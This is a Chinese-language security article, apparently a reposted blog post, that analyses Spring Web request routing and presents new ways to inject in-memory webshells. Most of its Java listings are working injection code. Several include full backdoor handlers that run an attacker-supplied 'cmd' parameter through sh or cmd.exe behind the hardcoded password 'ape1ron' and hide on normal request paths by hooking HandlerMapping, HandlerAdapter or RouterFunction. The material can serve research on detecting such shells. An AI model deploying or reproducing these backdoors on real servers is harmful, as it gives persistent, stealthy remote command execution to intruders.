SpringWeb内存马变型
2023-11-14 16:9:11 Author: mp.weixin.qq.com(查看原文) 阅读量:9 收藏

  • • 一、前言

  • • 二、路由分析

    • • 2.1 获取HandlerExecutionChain

    • • 2.2 获取HandlerAdapter

    • • 2.3 执行

    • • 2.4 路由俯瞰图

  • • 三、变型

    • • 3.1 获取DispatcherServlet对象

    • • 3.2 向HandlerMapping添加Handler

      • • HandlerMethodShell

      • • ControllerHandlerShell

      • • HttpRequestHandlerShell

      • • ServletHandlerShell

      • • HandlerFunctionShell

    • • 3.3 自定义Handler.*相关属性

      • • HandlerMappingShell

      • • HandlerAdapterShell

    • • 3.4 修改路由处理过程的其他属性

      • • hook DispatcherServlet.MultipartResolver

  • • 四、总结

一、前言

业界公开的Spring内存马，主要分为两类：Controller型内存马和Interceptor类内存马。

其中实现Controller型内存马注入的代码如下，注入的核心逻辑是找到和路由分发功能有关的RequestMappingHandlerMapping对象，然后通过调用其registerMapping方法，动态添加路由及其对应的handler。

public InjectToController() throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, InvocationTargetException {
    WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);    RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);    AbstractHandlerMethodMapping abstractHandlerMethodMapping = context.getBean(AbstractHandlerMethodMapping.class);    Method method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappingRegistry");    method.setAccessible(true);    Object  mappingRegistry = (Object) method.invoke(abstractHandlerMethodMapping);    Field field = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry").getDeclaredField("urlLookup");    field.setAccessible(true);    Map urlLookup = (Map) field.get(mappingRegistry);    Iterator urlIterator = urlLookup.keySet().iterator();    while (urlIterator.hasNext()){        String urlPath = (String) urlIterator.next();        if (this.injectUrlPath.equals(urlPath)){            System.out.println("URL已存在");            return;        }    }    Method method2 = InjectToController.class.getMethod("test");    PatternsRequestCondition url = new PatternsRequestCondition(this.injectUrlPath);    RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();    RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);    InjectToController injectToController = new InjectToController("aaa");    mappingHandlerMapping.registerMapping(info, injectToController, method2);}

interceptor型内存马的注入代码如下，注入的核心逻辑同样是先找到RequestMappingHandlerMapping对象，然后获取其从AbstractHandlerMapping父类继承的adaptedInterceptors属性，一个负责维护拦截器链的List，然后实现一个HandlerInterceptor加入List中。

public TestInterceptor() throws NoSuchFieldException, IllegalAccessException, InstantiationException {    WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);    org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping");    java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");    field.setAccessible(true);    java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);    // 避免重复添加    for (int i = adaptedInterceptors.size() - 1; i > 0; i--) {        if (adaptedInterceptors.get(i) instanceof TestInterceptor) {            System.out.println("已经添加过TestInterceptor实例了");            return;        }    }
    TestInterceptor aaa = new TestInterceptor("aaa");     adaptedInterceptors.add(aaa); }

注：此处代码来源于https://github.com/bitterzzZZ/MemoryShellLearn/blob/main/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%B3%A8%E5%85%A5%E5%86%85%E5%AD%98%E9%A9%AC/spring-controller-interceptor/

不难发现，目前对于Spring内存马注入的一个重要对象是RequestMappingHandlerMapping，相应地，笔者看到很多文章和论文对于Spring内存马的查杀、防护，重点都是在分析RequestMappingHandlerMapping类。

但实际上，SpringWeb的路由处理核心并不在RequestMappingHandlerMapping，该类只是HandlerMapping的其中一种实现。

下面先分析SpringWeb的路由分发过程，然后给出几种不一样的Spring内存马注入点。

SpringWeb的路由处理入口是DispatcherServlet，其继承关系如下所示（仅列出部分方法）。

Servlet是通过service()方法开始接入的，从图中可以看出，如果要从Spring接管路由开始分析，则应该以FrameworkServlet#service作为起点。不过这里跳过前面的调用过程，跳到DispatcherServlet#doDispatch方法开始，该方法其实分为四个部分：

  1. 第一部分：通过getHandler()方法获取HandlerExecutionChain

  2. 第二部分：通过getHandlerAdapter()方法获取HandlerAdapter

  3. 第三部分：执行，包括执行interceptorList，以及执行handler

  4. 第四部分：设配执行结果并返回

protected void doDispatch(HttpServletRequest request, HttpServletResponse response) throws Exception {    ...    try {        ...        try {            // 解析multipart请求，非multipart请求会原样返回            HttpServletRequest processedRequest = checkMultipart(request);            multipartRequestParsed = (processedRequest != request);
            // part1: 获取HandlerExecutionChain            HandlerExecutionChain mappedHandler = getHandler(processedRequest);            if (mappedHandler == null) {                noHandlerFound(processedRequest, response);                return;            }
            // part2: 获取HandlerAdapter            HandlerAdapter ha = getHandlerAdapter(mappedHandler.getHandler());            ... 
            // part3：执行                        if (!mappedHandler.applyPreHandle(processedRequest, response)) {                return;            }
            ModelAndView mv = ha.handle(processedRequest, response, mappedHandler.getHandler());            ...
            applyDefaultViewName(processedRequest, mv);            mappedHandler.applyPostHandle(processedRequest, response, mv);        }        catch (Exception ex) {            ...        }
        // part4: 将执行结果，也就是ModelAndView映射到response        processDispatchResult(processedRequest, response, mappedHandler, mv, dispatchException);    }    catch (Throwable ex) {        ...     }    finally {        ...    }}

这里重点对前面三部分展开进一步分析。

  • handler：对应的其实就是业务处理类，大家常说的Controller，其实是Handler的一种，Handler本质上是不限定类型的。

  • interceptorList：拦截器链，保存了最终要执行的拦截链。

接着进一步分析getHandler方法

protected HandlerExecutionChain getHandler(HttpServletRequest request) throws Exception {    if (this.handlerMappings != null) {        for (HandlerMapping mapping : this.handlerMappings) {            HandlerExecutionChain handler = mapping.getHandler(request);            if (handler != null) {                return handler;            }        }    }    return null;}

可以看到这过程是通过HandlerMapping做的，DispatchServlet的handlerMappings属性有多个HandlerMapping。HndlerMapping有多个实现类，前面提到的RequestMappingHandlerMapping是其中之一， 下图是HandlerMapping家族。

注：在SpringMVC中，DispatcherServlet的handlerMappings默认只创建了两个HandlerMapping：RequestMappingHandlerMapping、BeanNameUrlHandlerMapping

HandlerMapping一共有五个默认的实现类，不同的实现类对应了不同的handler注册方式。

例如我们常用的@Controller注解+@RequestMapping注解的方式来注册handler，对应的HandlerMapping是RequestMappingHandlerMapping，而最终生成的handler类型则是HandlerMethod。

@Controller@RequestMapping("/ctest")public class ctest {
    @PostMapping("/index")    @ResponseBody    public String index(){        System.out.println("welcome to springmvc");        return "ctest";    }}

如果beanName以/开头，则也会被Spring解析成处理路由的Handler，如下代码，则对应HandlerMapping是BeanNameUrlHandlerMapping，而Handler就是Controller（取决于bean实现了哪个接口）。

@Component("/*")public class DefaultController implements Controller  {    @Override    public ModelAndView handleRequest(HttpServletRequest request, HttpServletResponse response) throws Exception {        ModelAndView modelAndView = new ModelAndView();        modelAndView.addObject("content","bean");        modelAndView.setViewName("bean");        return modelAndView;    }}

RouterFunctionMapping一般用于WebFlux的路由分发，而PathPatternMatchableHandlerMapping的getHandler方法是通过属性delegate实现的，本质上只做类似代理的功能，因此这两个就不展开分析了。

分析不同实现过程比较冗长，这里仅给出一些结论：

注册方式handlerhandlerMapping
@*Mapping注解HandlerMethodRequestMappingHandlerMapping

注册bean，beanName以/开头

Controller

(bean实现Controler接口)

默认：BeanNameUrlHandlerMapping

手动注册：SimpleUrlHandlerMapping

Servlet

(bean实现Servlet接口)

HttpRequestHandler

(bean实现HttpRequestHandler接口)

也就是说，不同方式来注册"特定路由的处理类"，会生成不同类型的Handler对象，不同的Handler对象由不同的HandlerMapping对象管理。

当请求进入后，DispatchServlet会遍历自身所有HandlerMapping，找到对应的Handler。

HandlerMapping的核心就在于找到对应的Handler，然后将Handler封装成HandlerExecutionChain对象，还记得HandlerExecutionChain的两个属性吗？handler+interceptorList，其实封装HandlerExecutionChain的过程，就是添加拦截链的过程，这个过程其实是在上层的抽象类AbstractHandlerMapping实现的，不同的HandlerMapping添加拦截链的过程是一样的，不过的是寻找Handler的过程，以及Handler的类型。

此外需要注意的是，不同HandlerMapping是有优先级的，优先级就体现在DispatcherServlet.handlerMappings中的顺序，优先级如下：

  1. RequestMappingHandlerMapping：处理注解生成的路由

  2. BeanNameUrlHandlerMapping：默认处理bean配置生成的路由

  3. SimpleUrlHandlerMapping：显式使用SimpleUrlHandlerMapping注册路由

只要在前一类HandlerMapping找到了路由处理类，就不会再进入下一个HandlerMapping。

例如在BeanNameUrlHandlerMapping配置了一个DefaultHandler，那么无论什么路由都走不到SimpleUrlHandlerMapping，SimpleUrlHandlerMapping配置的所有路由都相当于失效了。

<bean name="/*" class="controller.DefaultController"></bean>

对于从Handler到HandlerExecutionChain的这一段，不展开分析，大体上可以认为：

  1. 如果Handler本身就是一个HandlerExecutionChain，那么将本身的属性复制过来，再额外添加公共的拦截链即可。（对于部分Handler，会再一开始就是生成对应的HandlerExecutionChain）

  2. 如果Handler不是一个HandlerExecutionChain，那么就创建一个新的HandlerExecutionChain，再额外添加公共的拦截链。

可以简单地看作，HandlerExecutionChain=Handler+interceptorList

DispatcherServlet#getHandlerAdapter()方法最终返回一个HandlerAdapter对象。

protected HandlerAdapter getHandlerAdapter(Object handler) throws ServletException {    if (this.handlerAdapters != null) {        for (HandlerAdapter adapter : this.handlerAdapters) {            if (adapter.supports(handler)) {                return adapter;            }        }    }    throw new ServletException("No adapter for handler [" + handler +            "]: The DispatcherServlet configuration needs to include a HandlerAdapter that supports this handler");}

HandlerAdapter最终的作用就是执行Handler的最终方法，前面说到，Handler本身是不限制类型的。

这些不同类型的handler怎么找到调用的入口方法，以及为不同方法传参呢？这就是HandlerAdapter的作用。

public interface HandlerAdapter {      boolean supports(Object handler);      @Nullable  ModelAndView handle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception;      @Deprecated  long getLastModified(HttpServletRequest request, Object handler);
}

HandlerAdapter"家族成员"的分布如下：

注：在SpringMVC中，DispatcherServlet的handlerAdapters默认创建了三个HandlerAdapter：RequestMappingHandlerAdapter 、HttpRequestHandlerAdapter、SimpleControllerHandlerAdapter

进一步分析各个HandlerAdapter的supports方法，可以看出其支持的handler，关系如下：

  • RequestMappingHandlerAdapter  =>  HandlerMethod

  • HttpRequestHandlerAdapter => HttpRequestHandler

  • SimpleControllerHandlerAdapter => Controller

  • SimpleServletHandlerAdapter => Servlet

  • HandlerFunctionAdapter => HandlerFunction

回顾一下执行部分的代码，其实执行又可以细分为三小步，见注释所示。

// 1. 执行拦截器链的preHandle方法if (!mappedHandler.applyPreHandle(processedRequest, response)) {    return;}
//  2. 执行HandlerAdapter的handle方法ModelAndView mv = ha.handle(processedRequest, response, mappedHandler.getHandler());...
applyDefaultViewName(processedRequest, mv);// 3. 执行拦截器链的postHandle方法mappedHandler.applyPostHandle(processedRequest, response, mv);

关于拦截器链的这一部分，对于所有Handler都是一致的：

  1. 先按顺序调用所有interceptor的preHandle方法，如果中间有一个方法返回了false，则倒序调用已执行过的interceptor的afterCompletion方法。然后直接返回。

  2. 等待HandlerAdapter的handle方法，倒序调用所有interceptor的postHandle方法。然后再倒序调用已执行过的interceptor的afterCompletion方法。

前面提到，HandlerAdapter的作用就是为对应handler怎么找到调用的入口方法，并设配入参。其handle方法的原型如下，本身的入参一共有三个。

ModelAndView handle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception;

这里挑一个最简单的SimpleControllerHandlerAdapter来观察其handle方法的实现。

public ModelAndView handle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {    return ((Controller) handler).handleRequest(request, response);}

直接调用对应Controler的handleRequest方法，并传入request和response对象。这和Controller的接口定义是一致的。

public interface Controller {  @Nullable  ModelAndView handleRequest(HttpServletRequest request, HttpServletResponse response) throws Exception;
}

当然，如果Handler的类型是HandlerMehtod，对应的设配器就是RequestMappingHandlerAdapter，情况就会复杂一些，毕竟入参不定，方法名也不定，Spring通过反射来实现了这些功能。不过RequestMappingHandlerAdapter分析不是今天的重点，只需要知道HandlerAdapter和Handler是如何运作的即可。

以上就是SpringWeb路由分发的过程，可以总结为一张图：

通过上一章对SpringWeb路由分发的分析，很容易可以看到，现在公开注入内存马的方式，也就是使用RequestMappingHandlerMapping类，只是HandlerMapping的一种。在SpringWeb的路由处理过程中，还有多个注入点。

前面提到，DispatcherServlet才是路由处理的核心，无论是HandlerMapping，还是HandlerAdapter，都是DispatcherServlet的属性之一。如果能拿到DispatcherServlet，通过反射修改其属性，将大大增加内存马的注入范围。

SpringBoot可以直接在WebApplicationContext中拿到

AbstractApplicationContext webApplicationContext = (AbstractApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);servlet = (DispatcherServlet) webApplicationContext.getBean("dispatcherServlet");

但在纯SpringMVC的应用中，DispatcherServlet并没有默认注册到webApplicationContext。这里通过调试，找到了一种新方法适用于SpringMVC：

最终获取方法如下：

public class Util {        public DispatcherServlet getServlet(){        AbstractApplicationContext webApplicationContext = (AbstractApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);        DispatcherServlet servlet = null;
        try {            servlet = (DispatcherServlet) webApplicationContext.getBean("dispatcherServlet");        }catch (Exception e1){            try {                for (ApplicationListener applicationListener:webApplicationContext.getApplicationListeners()) {                    if (applicationListener instanceof SourceFilteringListener) {                        GenericApplicationListenerAdapter gl = (GenericApplicationListenerAdapter) getFieldValue(applicationListener, "delegate");                        Object delegate = getFieldValue(gl, "delegate");                        if (delegate.getClass().getName().equals("org.springframework.web.servlet.FrameworkServlet$ContextRefreshListener")) {                            servlet = (DispatcherServlet) getFieldValue(delegate, "this$0");                        }                    }                }            }catch (Exception e2){                e2.printStackTrace();            }        }        return servlet;    }
    public static Field getField(Class clazz, String fieldName) {        try {            Field field = clazz.getDeclaredField(fieldName);            field.setAccessible(true);            return field;        }catch (Exception e){            return null;        }    }
    public static Object getFieldValue(Object obj,String fieldName) throws IllegalAccessException {        Class clazz = obj.getClass();        Field targetField = getField(clazz,fieldName);        while (targetField==null && clazz!=Object.class){            clazz = clazz.getSuperclass();            targetField = getField(clazz,fieldName);        }        if(targetField!=null){            return targetField.get(obj);        }        return null;    }}

HandlerMapping几乎可以看作SpringWeb路由分发的第一个入口，并且所有HandlerMapping都直接注册到了WebApplicationContext，可以直接在WebApplicationContext中拿到，因此可以通过向已有的HandlerMapping添加Handler实现内存马。

3.2.1 HandlerMethodShell

也就是业界所提的"Spring Controller"型内存马，其实个人更愿意将其称为HandlerMethod型内存马，因为最终创建的Handler类型是HandlerMethod。

从SpringWeb 4.2.0.RELEASE版本开始，requestMappingHandlerMapping的父类AbstractHandlerMethodMapping提供了registerMapping方法注册，因此不需要自己去构造HandlerMethod对象。

public class HandlerMethodShell {
    public String injecShell() throws Exception {        WebApplicationContext webApplicationContext = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);        RequestMappingHandlerMapping requestMappingHandlerMapping = webApplicationContext.getBean(RequestMappingHandlerMapping.class);
        Method method = HandlerMethodShell.class.getMethod("shell");        RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();        RequestMappingInfo.BuilderConfiguration config = (RequestMappingInfo.BuilderConfiguration) Util.getFieldValue(requestMappingHandlerMapping,"config");        RequestMappingInfo info = RequestMappingInfo.paths("/shell1").options(config).build();        Object handler = new HandlerMethodShell();        requestMappingHandlerMapping.registerMapping(info, handler, method);
        return "{\"result\":\"injectHandlerMethodShell\"}";    }
    public void shell() throws Exception {        HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();        HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();        ...    }}

3.2.2 ControllerHandlerShell

实现Controller接口，通过反射添加到BeanNameUrlHandlerMapping

Controller默认对应的是SimpleControllerHandlerAdapter，默认存在，因此不需要手动添加。

public class ControllerHandlerShell implements Controller {
    public String injectShell() throws Exception{        WebApplicationContext webApplicationContext = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);        BeanNameUrlHandlerMapping beanNameUrlHandlerMapping = webApplicationContext.getBean(BeanNameUrlHandlerMapping.class);        Class abstractUrlHandlerMapping = Class.forName("org.springframework.web.servlet.handler.AbstractUrlHandlerMapping");        Field field = abstractUrlHandlerMapping.getDeclaredField("handlerMap");        field.setAccessible(true);        Map handlerMap = (Map) field.get(beanNameUrlHandlerMapping);        handlerMap.put("/shell2",new ControllerHandlerShell());        return "{\"result\":\"injectControllerHandlerShell\"}";    }
    @Override    public ModelAndView handleRequest(HttpServletRequest request, HttpServletResponse response) throws Exception {        ...    }}

3.2.3 HttpRequestHandlerShell

实现HttpRequestHandler接口，通过反射添加到BeanNameUrlHandlerMapping。

除了Controller，HttpRequestHandler也是Spring内置的一种handler类型。并且对应的HttpRequestHandlerAdapter也是默认存在的。

public class HttpRequestHandlerShell implements HttpRequestHandler {
    public String injectShell() throws Exception{        WebApplicationContext webApplicationContext = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);        BeanNameUrlHandlerMapping beanNameUrlHandlerMapping = webApplicationContext.getBean(BeanNameUrlHandlerMapping.class);        Class abstractUrlHandlerMapping = Class.forName("org.springframework.web.servlet.handler.AbstractUrlHandlerMapping");        Field field = abstractUrlHandlerMapping.getDeclaredField("handlerMap");        field.setAccessible(true);        Map handlerMap = (Map) field.get(beanNameUrlHandlerMapping);        handlerMap.put("/shell3",new HttpRequestHandlerShell());        return "{\"\result\":\"injectHttpRequestHandlerShell\"}";    }

    @Override    public void handleRequest(HttpServletRequest request, HttpServletResponse response) throws IOException {       ...    }
}

3.2.4 ServletHandlerShell

实现一个Servlet类，通过反射添加到BeanNameUrlHandlerMapping。

注意这里虽然是Servlet，但实际上是作为一个Handler添加的，在DispatcherServlet后接入。对应的是SimpleServletHandlerAdapter，这个HandlerAdapter并不是默认就创建的，因此需要考虑手工添加的情况。

public class ServletHandlerShell extends HttpServlet {
    public String injectShell() throws Exception{        WebApplicationContext webApplicationContext = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);        BeanNameUrlHandlerMapping beanNameUrlHandlerMapping = webApplicationContext.getBean(BeanNameUrlHandlerMapping.class);        // 添加handlerAdapter        DispatcherServlet servlet = new Util().getServlet();        List<HandlerAdapter> handlerAdapters = (List<HandlerAdapter>) Util.getFieldValue(servlet,"handlerAdapters");        boolean hasSimpleServletHandlerAdapter = false;        for(HandlerAdapter adapter:handlerAdapters){            if(adapter instanceof SimpleServletHandlerAdapter){                hasSimpleServletHandlerAdapter = true;                break;            }        }        if(!hasSimpleServletHandlerAdapter){            handlerAdapters.add(new SimpleServletHandlerAdapter());        }
        // 添加handler        Class abstractUrlHandlerMapping = Class.forName("org.springframework.web.servlet.handler.AbstractUrlHandlerMapping");        Field field = abstractUrlHandlerMapping.getDeclaredField("handlerMap");        field.setAccessible(true);        Map handlerMap = (Map) field.get(beanNameUrlHandlerMapping);        handlerMap.put("/shell4",new ServletHandlerShell());        return "{\"\result\":\"injectServletHandlerShell\"}";    }
    @Override    protected void service(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {        ...    }
}

3.2.5 HandlerFunctionShell

前面说到，RouterFunctionMapping一般用于WebFlux的路由处理，但实际上在SpringWeb中也是可以使用的，SpringBoot也默认创建了一个RouterFunctionMapping。

RouterFunctionMapping通过自身另外一个属性RouterFunction来获取的Handler对象，默认类型为HandlerFunction，对应的Adapter是HandlerFunctionAdapter。

如下是RouterFunctionMapping获取Handler的过程。

protected Object getHandlerInternal(HttpServletRequest servletRequest) throws Exception {    if (this.routerFunction != null) {        ServerRequest request = ServerRequest.create(servletRequest, this.messageConverters);        HandlerFunction<?> handlerFunction = this.routerFunction.route(request).orElse(null);        setAttributes(servletRequest, request, handlerFunction);        return handlerFunction;    }    else {        return null;    }}

如果需要添加一个HandlerFunction来作为内存马，就需要Hook RouterFunctionMapping的routerFunction。

public class HandlerFunctionShell implements HandlerFunction {
    @RequestMapping("/injectRouteFunctionHandlerDelegateShell")    public String injectRouteFunctionHandlerShell() throws Exception{        WebApplicationContext webApplicationContext = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);        DispatcherServlet servlet = new Util().getServlet();        // 如果未添加HandlerFunctionAdapter，则主动添加        try {            List<HandlerAdapter> handlerAdapters = (List<HandlerAdapter>) Util.getFieldValue(servlet,"handlerAdapters");            boolean hasHandlerFunctionAdapter = false;            for(HandlerAdapter adapter:handlerAdapters){                if(adapter instanceof HandlerFunctionAdapter){                    hasHandlerFunctionAdapter = true;                    break;                }            }            if(!hasHandlerFunctionAdapter){                handlerAdapters.add(new HandlerFunctionAdapter());            }        }catch (Exception e){            e.printStackTrace();        }
        // 如果未注册RouteFuntion，则主动注册，否则hook其RouterFunction        List<HandlerMapping> handlerMappings = (List<HandlerMapping>) Util.getFieldValue(servlet,"handlerMappings");        boolean hasRouterFunctionMapping = false;        RouterFunctionMapping routerFunctionMapping = null;        for(HandlerMapping handlerMapping: handlerMappings){            if(handlerMapping instanceof RouterFunctionMapping){                routerFunctionMapping = (RouterFunctionMapping) handlerMapping;                hasRouterFunctionMapping = true;                break;            }        }        if(!hasRouterFunctionMapping){            routerFunctionMapping = new RouterFunctionMapping();            handlerMappings.add(routerFunctionMapping);        }        // hook Funtion        if(routerFunctionMapping != null){            RouterFunction routerFunction = (RouterFunction) Util.getFieldValue(routerFunctionMapping,"routerFunction");            RouterFunctionDelagate functionDelagate = new RouterFunctionDelagate(routerFunction);            routerFunctionMapping.setRouterFunction(functionDelagate);        }
        return "{\"\result\":\"injectRouteFunctionHandlerDelegateShell\"}";    }
    @Override    public ServerResponse handle(ServerRequest request) throws Exception {        boolean islinux = true;        String osType = System.getProperty("os.name");        if (osType !=null && osType.toLowerCase().contains("win")){            islinux = false;        }        String cmd = request.param("cmd").get();        System.out.println("cmd: " + cmd);        String[] cmds = islinux ? new String[]{"sh","-c",cmd} : new String[]{"cmd.exe","/c",cmd};        InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();        Scanner s = new Scanner(in).useDelimiter("\\A");        String output = s.hasNext() ? s.next() : "";

        return ServerResponse.status(HttpStatus.OK).contentType(MediaType.TEXT_PLAIN).body(output);    }        class RouterFunctionDelagate<T extends ServerResponse> implements RouterFunction {
        RouterFunction delegate;        HandlerFunctionShell handlerFunctionShell;
        public RouterFunctionDelagate(RouterFunction delegate){            this.delegate = delegate;            this.handlerFunctionShell = new HandlerFunctionShell();        }
        @Override        public Optional<HandlerFunction> route(ServerRequest request) {            try {                String cmd = request.param("cmd").get();                String passwd = request.param("mypasswd").get();                System.out.println("passwd: " + passwd);                System.out.println("cmd: " + cmd);                if(passwd!=null && cmd !=null & passwd.equals("ape1ron")){                    return Optional.of(this.handlerFunctionShell);                }            }catch (Exception e){
            }            if (delegate==null){                return Optional.empty();            }            return delegate.route(request);        }
        @Override        public RouterFunction and(RouterFunction other) {            if (delegate==null){                return null;            }            return delegate.and(other);        }

        @Override        public RouterFunction andOther(RouterFunction other) {            if (delegate==null){                return null;            }            return this.delegate.andOther(other);        }
        @Override        public  RouterFunction andRoute(RequestPredicate predicate, HandlerFunction handlerFunction) {            if (delegate==null){                return null;            }            return this.delegate.andRoute(predicate,handlerFunction);        }

        @Override        public RouterFunction andNest(RequestPredicate predicate, RouterFunction routerFunction) {            if (delegate==null){                return null;            }            return this.delegate.andNest(predicate,routerFunction);        }
        @Override        public  RouterFunction filter(HandlerFilterFunction filterFunction) {            if (delegate==null){                return null;            }            return this.delegate.filter(filterFunction);        }
        @Override        public RouterFunction withAttribute(String name, Object value) {            if (delegate==null){                return null;            }            return this.delegate.withAttribute(name,value);        }
        @Override        public RouterFunction withAttributes(Consumer attributesConsumer) {            if (delegate==null){                return null;            }            return this.delegate.withAttributes(attributesConsumer);        }    }}

前面已经找到了获取DispatcherServlet对象的方法，因此除了向已有的HandlerMapping添加Handler外，还可以直接注册HandlerMapping、或者是HandlerAdapter等对象，也可以实现接管路由的功能，实现内存马。

3.3.1 HandlerMappingShell

通过前面的路由分析可以知道，DispatcherServlet会遍历调用其handlerMappings属性保存的HandlerMapping的getHandler方法。因此可以实现一个自定义的HandlerMapping，让其返回我们自定义的Handler。

Handler本身就可以作为任意类型，要正常被调用，还需要一个HandlerAdapter配合，才能正常调用。如下分别实现了自定义的：HandlerMapping+Handler+HandlerAdapter来注入内存马。

注意，实际判断路由是否由自定义的HandlerMapping处理，是在getHandler()方法，这里可以匹配任意路由，通过了判断参数的mypasswd和cmd来作为判断条件，因此也可以实现复用正常的请求路径。

public class HandlerMappingShell  implements HandlerMapping {    HandlerExecutionChain chain;
    public String injectShell() throws Exception{        DispatcherServlet servlet = new Util().getServlet();        List<HandlerAdapter> handlerAdapters = (List<HandlerAdapter>) Util.getFieldValue(servlet,"handlerAdapters");        handlerAdapters.add(new HandlerMappingShell.MyHandlerAdapter());        List<HandlerMapping> handlerMappings = (List<HandlerMapping>) Util.getFieldValue(servlet,"handlerMappings");        handlerMappings.add(0,new HandlerMappingShell());        return "{\"result\":\"HandlerMappingShell\"}";    }
    public HandlerMappingShell(){        chain = new HandlerExecutionChain(new HandlerMappingShell.MyHandler());    }
    @Override    public HandlerExecutionChain getHandler(HttpServletRequest request) throws Exception {        String passwd = request.getParameter("mypasswd");        String cmd = request.getParameter("cmd");        if(passwd!=null && cmd!=null && passwd.equals("ape1ron") && !cmd.isEmpty()){            return chain;        }        return null;    }
    class MyHandler{        public void handle(HttpServletRequest request,HttpServletResponse response) throws IOException {            if (request.getParameter("cmd") !=null){                boolean islinux = true;                String osType = System.getProperty("os.name");                if (osType !=null && osType.toLowerCase().contains("win")){                    islinux = false;                }                String[] cmds = islinux ? new String[]{"sh","-c",request.getParameter("cmd")} : new String[]{"cmd.exe","/c",request.getParameter("cmd")};                InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();                Scanner s = new Scanner(in).useDelimiter("\\A");                String output = s.hasNext() ? s.next() : "";                response.getWriter().write(output);                response.getWriter().flush();                response.getWriter().close();            }        }    }
    class MyHandlerAdapter implements HandlerAdapter{
        @Override        public boolean supports(Object handler) {            return handler instanceof HandlerMappingShell.MyHandler;        }
        @Override        public ModelAndView handle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {            ((HandlerMappingShell.MyHandler)handler).handle(request,response);            return null;        }
        @Override        public long getLastModified(HttpServletRequest request, Object handler) {            return 0;        }    }}

3.3.2 HandlerAdapterShell

上面实现了三个对象来定制了一条完整的路由，但实际上最终执行是由HandlerAdapter决定，因此实现HandlerAdapter也能达成目的。

实现一个自定义的HandlerAdapter，并放置于DispatcherServlet.handlerAdapters列表的首位。通过自定义HandlerAdapter来hook其他所有HandlerAdapter。

public class HandlerAdapterShell implements HandlerAdapter{
    List<HandlerAdapter> handlerAdapters;
    public String injectShell() throws Exception{        DispatcherServlet servlet = new Util().getServlet();        List<HandlerAdapter> handlerAdapters = (List<HandlerAdapter>) Util.getFieldValue(servlet,"handlerAdapters");        handlerAdapters.add(0,new HandlerAdapterShell(handlerAdapters));
        return "{\"result\":\"HandlerAdapterShell\"}";    }
    public HandlerAdapterShell(List<HandlerAdapter> handlerAdapters){        this.handlerAdapters = handlerAdapters;    }
    @Override    public boolean supports(Object handler) {        return true;    }
    @Override    public ModelAndView handle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {        String passwd = request.getParameter("mypasswd");        String cmd = request.getParameter("cmd");        if (passwd!=null && cmd!=null && passwd.equals("ape1ron") && !cmd.isEmpty()){            boolean islinux = true;            String osType = System.getProperty("os.name");            if (osType !=null && osType.toLowerCase().contains("win")){                islinux = false;            }            String[] cmds = islinux ? new String[]{"sh","-c",request.getParameter("cmd")} : new String[]{"cmd.exe","/c",request.getParameter("cmd")};            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();            Scanner s = new Scanner(in).useDelimiter("\\A");            String output = s.hasNext() ? s.next() : "";            response.getWriter().write(output);            response.getWriter().flush();            response.getWriter().close();            return null;        }        // 重新找到适配的handlerAdpapter，相当于做了一层代理        for(HandlerAdapter handlerAdapter:this.handlerAdapters){            if(!(handlerAdapter instanceof HandlerAdapterShell) && handlerAdapter.supports(handler)){                return handlerAdapter.handle(request,response,handler);            }        }
        return null;    }
    @Override    public long getLastModified(HttpServletRequest request, Object handler) {        for(HandlerAdapter handlerAdapter:this.handlerAdapters){            if(!(handlerAdapter instanceof HandlerAdapterShell) && handlerAdapter.supports(handler)){                return handlerAdapter.getLastModified(request,handler);            }        }        return 0;    }}

前面两大类实现SpringWeb内存马的方式，都是针对Spring路由处理过程中涉及到的重要类对象，实际上要注入内存马，有三个重要的前提：

  1. 能拿到输入，也就是要能拿到request对象

  2. 能够将执行结果回显，理论上是要拿到response对象，但需要处理一些小细节，例如拿到response对象过早，则写入响应体，很可能会被后面覆盖。

  3. 不能影响正常业务的处理过程。

